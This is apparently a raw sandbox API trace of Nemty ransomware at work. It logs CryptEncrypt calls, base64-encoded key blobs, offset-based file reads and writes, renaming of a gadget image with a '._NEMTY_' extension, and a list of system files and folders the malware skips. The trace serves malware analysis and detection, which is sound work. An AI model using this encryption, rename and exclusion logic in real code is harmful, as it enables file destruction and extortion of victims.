lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x855b030, dwHighDateTime=0x1d561e8)) [0142.083] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x855b030, dwHighDateTime=0x1d561e8)) [0142.083] GetLastError () returned 0x5 [0142.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0142.083] GetLastError () returned 0x5 [0142.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0142.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0142.083] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0142.083] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0142.083] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0142.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0142.083] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e91c | out: pszString="3eqtztXdmOVcvIK+QoEqeRUUhyuYfIMsRefSMU8xSFHMuo1dELcRdS+MXBdX2GWf\r\nz166hKbSp5JmNMB0i7dhDuUbjcpf0msgQIcBfXax/1CVFhh396ZCM2q7JxFmZjdG\r\nHyPAJTIz0Cssc7ZNR/qjdgTyzvuqFSjYX1qeElKJoO/oSgALGRZRNiWgfqX0AUaf\r\ns74P1BmVsihoeYHZNGpsc4H38lXLxOA4rr3WchdAdmJDlIduMzcGBCj0kx82jwFJ\r\n9nx1Tz8k0AbWi6kIE9bsipQndSuM+snhR3MhzDC2SSE1XAeMgx7ZRCOm8xyD8oj8\r\nEKGXU8YVQvFPWkXFdyMSzA==\r\n", pcchString=0x653e91c) returned 1 [0142.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0142.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0142.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0142.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0142.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0142.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0142.083] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile_bezel.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile_bezel.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.084] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0142.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0142.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.084] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.093] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.093] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.103] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.103] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.112] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.112] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.122] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.122] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.131] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.131] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.140] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.141] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.150] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.150] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.159] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.159] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.169] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.169] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.179] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.179] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.185] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.185] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0142.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.191] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.191] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401b8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0142.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0142.191] CloseHandle (hObject=0xffffffff) returned 0 [0142.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0142.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0142.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0142.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0142.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0142.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0142.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403e0 [0142.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340498 [0142.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0142.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0142.191] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile_bezel.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile_bezel.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile_bezel.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile_bezel.png._nemty_kgobjgd_")) returned 0 [0142.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0142.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0142.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0142.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0142.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0142.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0142.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0142.197] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ac042c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ac042c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bd0cdf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb43, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="tile_drop_shadow.png", cAlternateFileName="")) returned 1 [0142.197] lstrcmpiW (lpString1="tile_drop_shadow.png", lpString2=".") returned 1 [0142.197] lstrcmpiW (lpString1="tile_drop_shadow.png", lpString2="..") returned 1 [0142.197] lstrcmpiW (lpString1="tile_drop_shadow.png", lpString2="...") returned 1 [0142.197] lstrcmpiW (lpString1="tile_drop_shadow.png", lpString2="windows") returned -1 [0142.197] lstrcmpiW (lpString1="tile_drop_shadow.png", lpString2="$RECYCLE.BIN") returned 1 [0142.197] lstrcmpiW (lpString1="tile_drop_shadow.png", lpString2="rsa") returned 1 [0142.197] lstrcmpiW (lpString1="tile_drop_shadow.png", lpString2="NTDETECT.COM") returned 1 [0142.197] lstrcmpiW (lpString1="tile_drop_shadow.png", lpString2="ntldr") returned 1 [0142.197] lstrcmpiW (lpString1="tile_drop_shadow.png", lpString2="MSDOS.SYS") returned 1 [0142.197] lstrcmpiW (lpString1="tile_drop_shadow.png", lpString2="IO.SYS") returned 1 [0142.197] lstrcmpiW (lpString1="tile_drop_shadow.png", lpString2="boot.ini") returned 1 [0142.197] lstrcmpiW (lpString1="tile_drop_shadow.png", lpString2="boot.ini") returned 1 [0142.197] lstrcmpiW (lpString1="tile_drop_shadow.png", lpString2="AUTOEXEC.BAT") returned 1 [0142.197] lstrcmpiW (lpString1="tile_drop_shadow.png", lpString2="ntuser.dat") returned 1 [0142.197] lstrcmpiW (lpString1="tile_drop_shadow.png", lpString2="desktop.ini") returned 1 [0142.197] lstrcmpiW (lpString1="tile_drop_shadow.png", lpString2="CONFIG.SYS") returned 1 [0142.197] lstrcmpiW (lpString1="tile_drop_shadow.png", lpString2="RECYCLER") returned 1 [0142.197] lstrcmpiW (lpString1="tile_drop_shadow.png", lpString2="BOOTSECT.BAK") returned 1 [0142.197] lstrcmpiW (lpString1="tile_drop_shadow.png", lpString2="bootmgr") returned 1 [0142.197] lstrcmpiW (lpString1="tile_drop_shadow.png", lpString2="programdata") returned 1 [0142.197] lstrcmpiW (lpString1="tile_drop_shadow.png", lpString2="appdata") returned 1 [0142.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0142.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tile_drop_shadow.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0142.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tile_drop_shadow.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tile_drop_shadow.png", lpUsedDefaultChar=0x0) returned 20 [0142.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0142.198] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tile_drop_shadow.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0142.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.198] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tile_drop_shadow.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tile_drop_shadow.png", lpUsedDefaultChar=0x0) returned 20 [0142.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0142.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0142.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0142.198] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tile_drop_shadow.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0142.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.198] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tile_drop_shadow.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tile_drop_shadow.png", lpUsedDefaultChar=0x0) returned 20 [0142.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0142.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0142.198] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tile_drop_shadow.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0142.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0142.198] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tile_drop_shadow.png", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tile_drop_shadow.png", lpUsedDefaultChar=0x0) returned 20 [0142.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0142.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340100 [0142.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0142.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401c8 [0142.198] Sleep (dwMilliseconds=0x5) [0142.207] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x868bb30, dwHighDateTime=0x1d561e8)) [0142.207] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x868bb30, dwHighDateTime=0x1d561e8)) [0142.207] GetLastError () returned 0x5 [0142.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0142.207] GetLastError () returned 0x5 [0142.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0142.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0142.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0142.208] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0142.208] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0142.208] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0142.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340290 [0142.208] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340290, pcchString=0x653e91c | out: pszString="fMgg4iSL23uMTYC0Zav9MNo9RNwcqsyu/ZSiskxphN+X0G+QUiE+tPEqt6f7tZ/T\r\n2pVBTaNK1uP/jgQebmwLvQ3Y1Gi6Kz0TEAk54ryGUCF/E3cR56Nky+X4mKMpmVRT\r\n2SZbHzKiJodqlnva+m7ZlnLJtE3pi1VBi4g9JHjekHb5DnYF/y0RXlxv+MwuAdye\r\nj1H0wncoVz0WXkuO5O9nj45tjA84uWXaaa1e9V14gDSuHMPs61Eceedqg7SiaJnf\r\nQKexIxDB5whL/bSAmvAlSi00cHX1vMDKz4/wmOo0Vx7BuwiZ2k+dxS0zOQUe+m5s\r\nlgbgq8E4Rb2L9DmEjruYpA==\r\n", pcchString=0x653e91c) returned 1 [0142.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0142.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0142.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 